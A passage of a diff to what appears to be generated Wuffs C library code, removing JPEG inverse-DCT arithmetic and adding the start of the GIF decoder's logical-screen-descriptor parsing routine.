((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][23u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][23u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][55u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][55u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][39u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][39u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][15u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][15u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][31u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][31u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][47u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][47u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][63u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][63u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[7u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[63u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[15u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[55u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[23u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[47u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[31u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[39u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ return status; ++} ++ ++// -------- func gif.decoder.decode_lsd ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_lsd( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_flags = 0; ++ uint8_t v_background_color_index = 0; ++ uint32_t v_num_palette_entries = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_argb = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (0u == (v_intermediate[1u] | +- v_intermediate[2u] | +- v_intermediate[3u] | +- v_intermediate[4u] | +- v_intermediate[5u] | +- v_intermediate[6u] | +- v_intermediate[7u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[0u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[2u]; +- v_in6 = v_intermediate[6u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[0u]; +- v_in4 = v_intermediate[4u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[1u]; +- v_in3 = v_intermediate[3u]; +- v_in5 = v_intermediate[5u]; +- v_in7 = v_intermediate[7u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_lsd; ++ if (coro_susp_point) { ++ v_flags = self->private_data.s_decode_lsd.v_flags; ++ v_background_color_index = self->private_data.s_decode_lsd.v_background_color_index; ++ v_num_palette_entries = self->private_data.s_decode_lsd.v_num_palette_entries; ++ v_i = self->private_data.s_decode_lsd.v_i; + } +- if (0u == (v_intermediate[9u] | +- v_intermediate[10u] | +- v_intermediate[11u] | +- v_intermediate[12u] | +- v_intermediate[13u] | +- v_intermediate[14u] | +- v_intermediate[15u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_lsd.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 8) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ self->private_impl.f_width = t_0; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[8u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[10u]; +- v_in6 = v_intermediate[14u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[8u]; +- v_in4 = v_intermediate[12u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[9u]; +- v_in3 = v_intermediate[11u]; +- v_in5 = v_intermediate[13u]; +- v_in7 = v_intermediate[15u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_lsd.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ self->private_impl.f_height = t_1; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[17u] | +- v_intermediate[18u] | +- v_intermediate[19u] | +- v_intermediate[20u] | +- v_intermediate[21u] | +- v_intermediate[22u] | +- v_intermediate[23u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_flags = t_2; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[16u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[18u]; +- v_in6 = v_intermediate[22u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[16u]; +- v_in4 = v_intermediate[20u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[17u]; +- v_in3 = v_intermediate[19u]; +- v_in5 = v_intermediate[21u]; +- v_in7 = v_intermediate[23u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_background_color_index = t_3; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[25u] | +- v_intermediate[26u] | +- v_intermediate[27u] | +- v_intermediate[28u] | +- v_intermediate[29u] | +- v_intermediate[30u] | +- v_intermediate[31u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); +- } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[24u] + 16u)) >> 5u) & 1023u)]; +- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } else { +- v_in2 = v_intermediate[26u]; +- v_in6 = v_intermediate[30u]; +- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); +- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); +- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); +- v_in0 = v_intermediate[24u]; +- v_in4 = v_intermediate[28u]; +- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); +- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); +- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); +- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); +- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); +- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); +- v_in1 = v_intermediate[25u]; +- v_in3 = v_intermediate[27u]; +- v_in5 = v_intermediate[29u]; +- v_in7 = v_intermediate[31u]; +- v_ri51 = ((uint32_t)(v_in5 + v_in1)); +- v_ri53 = ((uint32_t)(v_in5 + v_in3)); +- v_ri71 = ((uint32_t)(v_in7 + v_in1)); +- v_ri73 = ((uint32_t)(v_in7 + v_in3)); +- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); +- v_rk1 = ((uint32_t)(v_in1 * 12299u)); +- v_rk3 = ((uint32_t)(v_in3 * 25172u)); +- v_rk5 = ((uint32_t)(v_in5 * 16819u)); +- v_rk7 = ((uint32_t)(v_in7 * 2446u)); +- v_ri51 *= 4294964100u; +- v_ri53 *= 4294946301u; +- v_ri71 *= 4294959923u; +- v_ri73 *= 4294951227u; +- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); +- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); +- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); +- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); +- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); +- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; +- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); +- } +- if (0u == (v_intermediate[33u] | +- v_intermediate[34u] | +- v_intermediate[35u] | +- v_intermediate[36u] | +- v_intermediate[37u] | +- v_intermediate[38u] | +- v_intermediate[39u])) { +- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { +- return wuffs_base__make_empty_struct(); ++ iop_a_src++; ++ v_i = 0u; ++ self->private_impl.f_has_global_palette = (((uint8_t)(v_flags & 128u)) != 0u); ++ if (self->private_impl.f_has_global_palette) { ++ v_num_palette_entries = (((uint32_t)(1u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); ++ while (v_i < v_num_palette_entries) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_decode_lsd.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == 